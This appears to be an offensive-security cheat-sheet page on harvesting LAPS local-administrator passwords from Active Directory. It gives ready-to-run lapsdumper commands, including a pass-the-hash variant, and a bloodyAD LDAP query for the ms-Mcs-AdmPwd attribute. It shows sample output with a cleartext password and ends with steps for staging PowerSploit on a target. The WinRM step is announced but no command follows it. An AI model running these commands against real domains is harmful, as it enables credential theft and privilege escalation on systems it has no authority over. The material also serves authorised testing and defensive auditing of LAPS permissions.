LAPS

  • Dump laps passwords if you have a user account with the rights to dump the laps passwords

  • Enumerate users that can read the laps passwords with bloodhound

lapsdumper.py

Usage:

Basic:

$ python laps.py -u user -p password -d domain.local

Pass the Hash, specific LDAP server:

$ python laps.py -u user -p e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c -d domain.local -l dc01.domain.local

bloodyAD

If BloodHound shows the user can read LAPS passwords, query ms-Mcs-AdmPwd and ms-Mcs-AdmPwdExpirationTime directly:

bloodyAD --host DC_IP -d domain.local -u user -p 'PASSWORD' \
  get search \
  --filter '(ms-mcs-admpwdexpirationtime=*)' \
  --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime

Example output:

distinguishedName: CN=DC01,OU=Domain Controllers,DC=domain,DC=local
ms-Mcs-AdmPwd: V,!31D;3&M+2h.
ms-Mcs-AdmPwdExpirationTime: 134260119643091883

Use the recovered local Administrator password with WinRM if the target permits it:

Powerview Dump

  • Download Powersploit

  • zip the dir up and transfer the whole thing to target

  • expand on target with expand-archive

Last updated